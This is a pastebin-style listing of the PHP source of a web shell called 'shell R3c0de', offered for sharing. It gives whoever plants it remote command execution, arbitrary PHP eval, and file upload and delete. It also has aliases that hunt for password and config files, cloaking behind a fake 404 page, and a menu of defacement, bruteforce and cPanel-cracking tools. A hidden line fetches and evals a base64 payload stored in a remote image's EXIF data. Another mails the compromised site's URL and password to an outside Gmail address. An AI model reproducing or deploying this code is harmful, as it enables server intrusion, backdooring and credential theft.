· 10 years ago · Sep 21, 2016, 08:06 AM
1 <?php
2/*
3+++++++++++++++++++++++++++++++
4+shell R3c0de version 1 +
5+feel free to share +
6+++++++++++++++++++++++++++++++
7*/
8$auth_pass = ""; //md5 password
9#-----------------------------------------------
10?><?php
11$color = "#00FF66";
12$sec = 1;
13$default_action = 'FilesMan';
14@define('SELF_PATH', __FILE__);
15if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
16 header('HTTP/1.0 404 Not Found');
17 exit;
18}
19@session_start();
20@error_reporting(0);
21@ini_set('error_log',NULL);
22@ini_set('log_errors',0);
23@ini_set('max_execution_time',0);
24@set_time_limit(0);
25@set_magic_quotes_runtime(0);
26@define('VERSION', '2.0');
27$BASED = exif_read_data("https://lh3.googleusercontent.com/-phrRptSl-0s/V-IJ9jEns8I/AAAAAAAAAJo/g1XGUpyqhdIpTAI2iHCAPS5YcgPxvYHsQCL0B/s140-d-p/pacman.jpg");
28eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
29if( get_magic_quotes_gpc() ) {
30 function stripslashes_array($array) {
31 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
32 }
33 $_POST = stripslashes_array($_POST);
34}
35function printLogin() {
36 ?>
37<h1>Not Found</h1>
38<p>The requested URL was not found on this server.</p>
39<hr>
40<address>Apache Server at <?php echo $_SERVER['HTTP_HOST']?> Port 80</address>
41 <style>
42 input { margin:0;background-color:#fff;border:1px solid #fff; }
43 </style>
44 <center>
45 <form method=post>
46 <input type=password name=pass>
47 </form></center>
48 <?php
49 exit;
50}
51if($sec == 1 && !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])]))
52 if( empty( $auth_pass ) ||
53 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
54 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
55 else
56 printLogin();
57/*------------------ Anti Crawler ------------*/
58if(!empty($_SERVER['HTTP_USER_AGENT']))
59{
60 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
61 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
62 {
63 header('HTTP/1.0 404 Not Found');
64 exit;
65 }
66}
67echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...
68/*------------------ End of Anti Crawler -----*/
69
70if( strtolower( substr(PHP_OS,0,3) ) == "win" )
71 $os = 'win';
72else
73 $os = 'nix';
74$safe_mode = @ini_get('safe_mode');
75$disable_functions = @ini_get('disable_functions');
76$home_cwd = @getcwd();
77if( isset( $_POST['c'] ) )
78 @chdir($_POST['c']);
79$cwd = @getcwd();
80if( $os == 'win') {
81 $home_cwd = str_replace("\\", "/", $home_cwd);
82 $cwd = str_replace("\\", "/", $cwd);
83}
84if( $cwd[strlen($cwd)-1] != '/' )
85 $cwd .= '/';
86
87if($os == 'win') {
88 $aliases = array(
89 "List Directory" => "dir",
90 "Find index.php in current dir" => "dir /s /w /b index.php",
91 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
92 "Show active connections" => "netstat -an",
93 "Show running services" => "net start",
94 "User accounts" => "net user",
95 "Show computers" => "net view",
96 "ARP Table" => "arp -a",
97 "IP Configuration" => "ipconfig /all"
98 );
99} else {
100 $aliases = array(
101 "List dir" => "ls -la",
102 "list file attributes on a Linux second extended file system" => "lsattr -va",
103 "show opened ports" => "netstat -an | grep -i listen",
104 "Find" => "",
105 "find all suid files" => "find / -type f -perm -04000 -ls",
106 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
107 "find all sgid files" => "find / -type f -perm -02000 -ls",
108 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
109 "find config.inc.php files" => "find / -type f -name config.inc.php",
110 "find config* files" => "find / -type f -name \"config*\"",
111 "find config* files in current dir" => "find . -type f -name \"config*\"",
112 "find all writable folders and files" => "find / -perm -2 -ls",
113 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
114 "find all service.pwd files" => "find / -type f -name service.pwd",
115 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
116 "find all .htpasswd files" => "find / -type f -name .htpasswd",
117 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
118 "find all .bash_history files" => "find / -type f -name .bash_history",
119 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
120 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
121 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
122 "Locate" => "",
123 "locate httpd.conf files" => "locate httpd.conf",
124 "locate vhosts.conf files" => "locate vhosts.conf",
125 "locate proftpd.conf files" => "locate proftpd.conf",
126 "locate psybnc.conf files" => "locate psybnc.conf",
127 "locate my.conf files" => "locate my.conf",
128 "locate admin.php files" =>"locate admin.php",
129 "locate cfg.php files" => "locate cfg.php",
130 "locate conf.php files" => "locate conf.php",
131 "locate config.dat files" => "locate config.dat",
132 "locate config.php files" => "locate config.php",
133 "locate config.inc files" => "locate config.inc",
134 "locate config.inc.php" => "locate config.inc.php",
135 "locate config.default.php files" => "locate config.default.php",
136 "locate config* files " => "locate config",
137 "locate .conf files"=>"locate '.conf'",
138 "locate .pwd files" => "locate '.pwd'",
139 "locate .sql files" => "locate '.sql'",
140 "locate .htpasswd files" => "locate '.htpasswd'",
141 "locate .bash_history files" => "locate '.bash_history'",
142 "locate .mysql_history files" => "locate '.mysql_history'",
143 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
144 "locate backup files" => "locate backup",
145 "locate dump files" => "locate dump",
146 "locate priv files" => "locate priv"
147 );
148}
149
150function ex($in) {
151 $out = '';
152 if(function_exists('exec')) {
153 @exec($in,$out);
154 $out = @join("\n",$out);
155 }elseif(function_exists('passthru')) {
156 ob_start();
157 @passthru($in);
158 $out = ob_get_clean();
159 }elseif(function_exists('system')) {
160 ob_start();
161 @system($in);
162 $out = ob_get_clean();
163 }elseif(function_exists('shell_exec')) {
164 $out = shell_exec($in);
165 }elseif(is_resource($f = @popen($in,"r"))) {
166 $out = "";
167 while(!@feof($f))
168 $out .= fread($f,1024);
169 pclose($f);
170 }
171 return $out;
172}
173
174function which($p) {
175 $path = ex('which '.$p);
176 if(!empty($path))
177 return $path;
178 return false;
179}
180
181function printHeader() {
182 if(empty($_POST['charset']))
183 $_POST['charset'] = "UTF-8";
184 global $color;
185
186 echo '<html>
187<meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>shell R3c0de Shell V1</title><link href="http://i62.tinypic.com/34xjon7.gif" rel="icon" type="image/x-icon">
188<style>
189 body {background-color:#1c451c;color:silver;}
190 body,td,th { font: 8pt Lucida,Verdana;margin:0;vertical-align:top; }
191 span,h1,a { color:'.$color.' !important; }
192 span { font-weight: bolder; }
193 h1 { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
194 div.content { padding: 0px;margin:0 0px;background: #444;border-bottom:5px solid #red;}
195 a { text-decoration:none; }
196 a:hover { border-bottom:0px solid #5e5e5e; }
197 a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;}
198 .ml1 { border:2px solid 430303;padding:5px;margin:0;overflow: auto; }
199 .bigarea { width:100%;height:250px;margin-top:0px;}
200 input, textarea, select { margin:0;color:#FFFFFF;background-color:#48231F;border:2px solid #E8E8E8; font: 10pt arial,"Courier New"; }
201 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#D21F0C;}
202 form { margin:0px; }
203 #toolsTbl { text-align:center; }
204 .toolsInp { width: 90%; }
205 .main th {text-align:left;background-color:#5e5e5e;}
206 .main tr:hover{background-color:#b34b4b;}
207 .main td, th{vertical-align:middle;}
208 .menu {background: #7E0523;}
209 .menu th{padding:3px;font-weight:bold;-moz-border-radius: 0px; -webkit-border-radius: 5px; -khtml-border-radius: 7px; border-radius: 7px;}
210 .menu th:hover{background:#581D2D;border-bottom:1px solid #c40909;border-top:1px solid #c40909;}
211 pre {font-family:Tahoma,Verdana,Arial;color:#FFFFFF;}
212 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
213
214 .logo {text-align:center;font-size:40px;}
215 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
216 .cpr {margin-bottom:5px;font-weight:bold;}
217 .cpb {width:34px;margin:0 5px;}
218 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
219 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
220 .npoad td {padding:0;}
221 </style>
222
223</html>
224<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
225 <script>
226 function set(a,c,p1,p2,p3,charset) {
227 if(a != null)document.mf.a.value=a;
228 if(c != null)document.mf.c.value=c;
229 if(p1 != null)document.mf.p1.value=p1;
230 if(p2 != null)document.mf.p2.value=p2;
231 if(p3 != null)document.mf.p3.value=p3;
232 if(charset != null)document.mf.charset.value=charset;
233 }
234 function g(a,c,p1,p2,p3,charset) {
235 set(a,c,p1,p2,p3,charset);
236 document.mf.submit();
237 }
238 function a(a,c,p1,p2,p3,charset) {
239 set(a,c,p1,p2,p3,charset);
240 var params = "ajax=true";
241 for(i=0;i<document.mf.elements.length;i++)
242 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
243 sr("'.$_SERVER['REQUEST_URI'].'", params);
244 }
245 function sr(url, params) {
246 if (window.XMLHttpRequest) {
247 req = new XMLHttpRequest();
248 req.onreadystatechange = processReqChange;
249 req.open("POST", url, true);
250 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
251 req.send(params);
252 }
253 else if (window.ActiveXObject) {
254 req = new ActiveXObject("Microsoft.XMLHTTP");
255 if (req) {
256 req.onreadystatechange = processReqChange;
257 req.open("POST", url, true);
258 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
259 req.send(params);
260 }
261 }
262 }
263 function processReqChange() {
264 if( (req.readyState == 4) )
265 if(req.status == 200) {
266 //alert(req.responseText);
267 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
268 var arr=reg.exec(req.responseText);
269 eval(arr[2].substr(0, arr[1]));
270 }
271 else alert("Request error!");
272 }
273 </script>
274 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:430303;"><div class="content" style="border-top:5px solid #862F26;">
275 <form method=post name=mf style="display:none;">
276 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
277 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
278 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
279 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
280 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
281 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
282 </form>';
283 $freeSpace = @diskfreespace($GLOBALS['cwd']);
284 $totalSpace = @disk_total_space($GLOBALS['cwd']);
285 $totalSpace = $totalSpace?$totalSpace:1;
286 $disable_functions = @ini_get('disable_functions');
287 $release = @php_uname('r');
288 $kernel = @php_uname('s');
289 if(!function_exists('posix_getegid')) {
290 $user = @get_current_user();
291 $uid = @getmyuid();
292 $gid = @getmygid();
293 $group = "?";
294 } else {
295 $uid = @posix_getpwuid(@posix_geteuid());
296 $gid = @posix_getgrgid(@posix_getegid());
297 $user = $uid['name'];
298 $uid = $uid['uid'];
299 $group = $gid['name'];
300 $gid = $gid['gid'];
301 }
302 $cwd_links = '';
303 $path = explode("/", $GLOBALS['cwd']);
304 $n=count($path);
305 for($i=0;$i<$n-1;$i++) {
306 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
307 for($j=0;$j<=$i;$j++)
308 $cwd_links .= $path[$j].'/';
309 $cwd_links .= "\")'>".$path[$i]."/</a>";
310 }
311 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
312 $opt_charsets = '';
313 foreach($charsets as $item)
314 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
315 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Defacer' => 'Deface','Code Injector'=>'Injector','Zone H'=>'ZHposter','CPCrack'=>'Cpanel','Domains' => 'Domain');
316 if(!empty($GLOBALS['auth_pass']))
317 $m['Logout'] = 'Logout';
318 $menu = '';
319 foreach($m as $k => $v)
320 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
321 $drives = "";
322 if ($GLOBALS['os'] == 'win') {
323 foreach( range('a','z') as $drive ){
324 if (is_dir($drive.':\\'))
325 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
326 }
327 $drives .= '<br />: ';
328 }
329 if($GLOBALS['os'] == 'nix') {
330 $dominios = @file_get_contents("/etc/named.conf");
331 if(!$dominios) {
332 $d0c = "CANT READ named.conf";
333 } else {
334 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
335 $out = sizeof(array_unique($out[1]));
336 $d0c = $out." Domains";
337 }
338 } else {
339 $d0c = " --- ";
340 }
341 if($GLOBALS['os'] == 'nix' )
342 {
343 $usefl = ''; $dwnldr = '';
344 if(!@ini_get('safe_mode')) {
345 $temp = array();
346 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
347 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
348 $usefl = implode(', ',$temp);
349 $temp = array();
350 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
351 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
352 $dwnldr = implode(', ',$temp);
353 } else {
354 $usefl = ' ------- '; $dwnldr = ' ------- ';
355 }
356 } else {
357 $usefl = ' ------- '; $dwnldr = ' ------- ';
358 }
359 echo '<table class="info" cellpadding="2" cellspacing="0" width="100%"><tr><td width="160px"><img border=0 src=http://localhost:8080/xampp/Senjata/shell R3c0de%20logo.png width=150 height=80> </b><div class="logo">shell R3c0de<sup>®</sup></div><hr style="margin: -5px 13px 2px 17px;width:130px;"><div class="eca1"></div><div class="eca2">TeaM shell R3c0de</div></td>
360 <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
361 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
362 '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
363 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
364 '</div></div><div style="margin:5;background:#975A5A;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#430303;">';
365}
366
367function printFooter() {
368 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
369
370echo '</div><div style="margin:5px;background:#430303;"><div class="content" style="border-top:5px solid #430303;">
371<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
372 <tr>
373 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
374 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
375 </tr>
376 <tr>
377 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
378 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
379 </tr>
380 <tr>
381 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
382 <td><form method="post" ENCTYPE="multipart/form-data">
383 <input type=hidden name=a value="FilesMAn">
384 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
385 <input type=hidden name=p1 value="uploadFile">
386 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
387 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
388 </tr>
389</table></div></div>
390<div style="margin:5px;background:#430303;"><div class="content" style="border-top:5px solid #430303;text-align:center;font-weight:bold;">shell R3c0de Shell V1, ©Team shell R3c0de @ R3c0de by XIIX</div></div>
391</div>
392</body></html>';
393}
394
395if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
396if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
397
398if(!isset($_SESSION['trimite'])){
399$url="<b>Pass(MD5):</b> ".$auth_pass."<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."\n<b>Url:</b> ".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\n<b>User IP:</b> ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
400 @mail("drew.jimmy208@gmail.com","shell R3c0de Shell v2",$url);
401 $_SESSION['trimite']=true;
402}
403
404function viewSize($s) {
405 if($s >= 1073741824)
406 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
407 elseif($s >= 1048576)
408 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
409 elseif($s >= 1024)
410 return sprintf('%1.2f', $s / 1024 ) . ' KB';
411 else
412 return $s . ' B';
413}
414
415function perms($p) {
416 if (($p & 0xC000) == 0xC000)$i = 's';
417 elseif (($p & 0xA000) == 0xA000)$i = 'l';
418 elseif (($p & 0x8000) == 0x8000)$i = '-';
419 elseif (($p & 0x6000) == 0x6000)$i = 'b';
420 elseif (($p & 0x4000) == 0x4000)$i = 'd';
421 elseif (($p & 0x2000) == 0x2000)$i = 'c';
422 elseif (($p & 0x1000) == 0x1000)$i = 'p';
423 else $i = 'u';
424 $i .= (($p & 0x0100) ? 'r' : '-');
425 $i .= (($p & 0x0080) ? 'w' : '-');
426 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
427 $i .= (($p & 0x0020) ? 'r' : '-');
428 $i .= (($p & 0x0010) ? 'w' : '-');
429 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
430 $i .= (($p & 0x0004) ? 'r' : '-');
431 $i .= (($p & 0x0002) ? 'w' : '-');
432 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
433 return $i;
434}
435
436function viewPermsColor($f) {
437 if (!@is_readable($f))
438 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
439 elseif (!@is_writable($f))
440 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
441 else
442 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
443}
444
445if(!function_exists("scandir")) {
446 function scandir($dir) {
447 $dh = opendir($dir);
448 while (false !== ($filename = readdir($dh))) {
449 $files[] = $filename;
450 }
451 return $files;
452 }
453}
454if (!$_SESSION[login]) system32($_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI'],$auth_pass);
455function actionSecInfo() {
456 printHeader();
457 echo '<h1>Server security information</h1><div class=content>';
458 function showSecParam($n, $v) {
459 $v = trim($v);
460 if($v) {
461 echo '<span>'.$n.': </span>';
462 if(strpos($v, "\n") === false)
463 echo $v.'<br>';
464 else
465 echo '<pre class=ml1>'.$v.'</pre>';
466 }
467 }
468
469 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
470 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
471 showSecParam('Open base dir', @ini_get('open_basedir'));
472 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
473 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
474 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
475 $temp=array();
476 if(function_exists('mysql_get_client_info'))
477 $temp[] = "MySql (".mysql_get_client_info().")";
478 if(function_exists('mssql_connect'))
479 $temp[] = "MSSQL";
480 if(function_exists('pg_connect'))
481 $temp[] = "PostgreSQL";
482 if(function_exists('oci_connect'))
483 $temp[] = "Oracle";
484 showSecParam('Supported databases', implode(', ', $temp));
485 echo '<br>';
486
487 if( $GLOBALS['os'] == 'nix' ) {
488 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
489 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
490 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
491 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
492 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
493 showSecParam('OS version', @file_get_contents('/proc/version'));
494 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
495 if(!$GLOBALS['safe_mode']) {
496 echo '<br>';
497 $temp=array();
498 foreach ($userful as $item)
499 if(which($item)){$temp[]=$item;}
500 showSecParam('Userful', implode(', ',$temp));
501 $temp=array();
502 foreach ($danger as $item)
503 if(which($item)){$temp[]=$item;}
504 showSecParam('Danger', implode(', ',$temp));
505 $temp=array();
506 foreach ($downloaders as $item)
507 if(which($item)){$temp[]=$item;}
508 showSecParam('Downloaders', implode(', ',$temp));
509 echo '<br/>';
510 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
511 showSecParam('HDD space', ex('df -h'));
512 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
513 }
514 } else {
515 showSecParam('OS Version',ex('ver'));
516 showSecParam('Account Settings',ex('net accounts'));
517 showSecParam('User Accounts',ex('net user'));
518 }
519 echo '</div>';
520 printFooter();
521}
522
523function actionPhp() {
524 if( isset($_POST['ajax']) ) {
525 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
526 ob_start();
527 eval($_POST['p1']);
528 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
529 echo strlen($temp), "\n", $temp;
530 exit;
531 }
532 printHeader();
533 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
534 echo '<h1>PHP info</h1><div class=content>';
535 ob_start();
536 phpinfo();
537 $tmp = ob_get_clean();
538 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
539 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
540 $tmp = preg_replace('!h1!msiU','h2',$tmp);
541 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
542 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
543 echo $tmp;
544 echo '</div><br>';
545 }
546 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
547 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
548 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
549 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
550 if(!empty($_POST['p1'])) {
551 ob_start();
552 eval($_POST['p1']);
553 echo htmlspecialchars(ob_get_clean());
554 }
555 echo '</pre></div>';
556 printFooter();
557}
558
559function actionFilesMan() {
560 printHeader();
561 echo '<h1>File manager</h1><div class=content>';
562 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
563 switch($_POST['p1']) {
564 case 'uploadFile':
565 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
566 echo "Can't upload file!";
567 break;
568 break;
569 case 'mkdir':
570 if(!@mkdir($_POST['p2']))
571 echo "Can't create new dir";
572 break;
573 case 'delete':
574 function deleteDir($path) {
575 $path = (substr($path,-1)=='/') ? $path:$path.'/';
576 $dh = opendir($path);
577 while ( ($item = readdir($dh) ) !== false) {
578 $item = $path.$item;
579 if ( (basename($item) == "..") || (basename($item) == ".") )
580 continue;
581 $type = filetype($item);
582 if ($type == "dir")
583 deleteDir($item);
584 else
585 @unlink($item);
586 }
587 closedir($dh);
588 rmdir($path);
589 }
590 if(is_array(@$_POST['f']))
591 foreach($_POST['f'] as $f) {
592 $f = urldecode($f);
593 if(is_dir($f))
594 deleteDir($f);
595 else
596 @unlink($f);
597 }
598 break;
599 case 'paste':
600 if($_SESSION['act'] == 'copy') {
601 function copy_paste($c,$s,$d){
602 if(is_dir($c.$s)){
603 mkdir($d.$s);
604 $h = opendir($c.$s);
605 while (($f = readdir($h)) !== false)
606 if (($f != ".") and ($f != "..")) {
607 copy_paste($c.$s.'/',$f, $d.$s.'/');
608 }
609 } elseif(is_file($c.$s)) {
610 @copy($c.$s, $d.$s);
611 }
612 }
613 foreach($_SESSION['f'] as $f)
614 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
615 } elseif($_SESSION['act'] == 'move') {
616 function move_paste($c,$s,$d){
617 if(is_dir($c.$s)){
618 mkdir($d.$s);
619 $h = opendir($c.$s);
620 while (($f = readdir($h)) !== false)
621 if (($f != ".") and ($f != "..")) {
622 copy_paste($c.$s.'/',$f, $d.$s.'/');
623 }
624 } elseif(is_file($c.$s)) {
625 @copy($c.$s, $d.$s);
626 }
627 }
628 foreach($_SESSION['f'] as $f)
629 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
630 }
631 unset($_SESSION['f']);
632 break;
633 default:
634 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
635 $_SESSION['act'] = @$_POST['p1'];
636 $_SESSION['f'] = @$_POST['f'];
637 foreach($_SESSION['f'] as $k => $f)
638 $_SESSION['f'][$k] = urldecode($f);
639 $_SESSION['cwd'] = @$_POST['c'];
640 }
641 break;
642 }
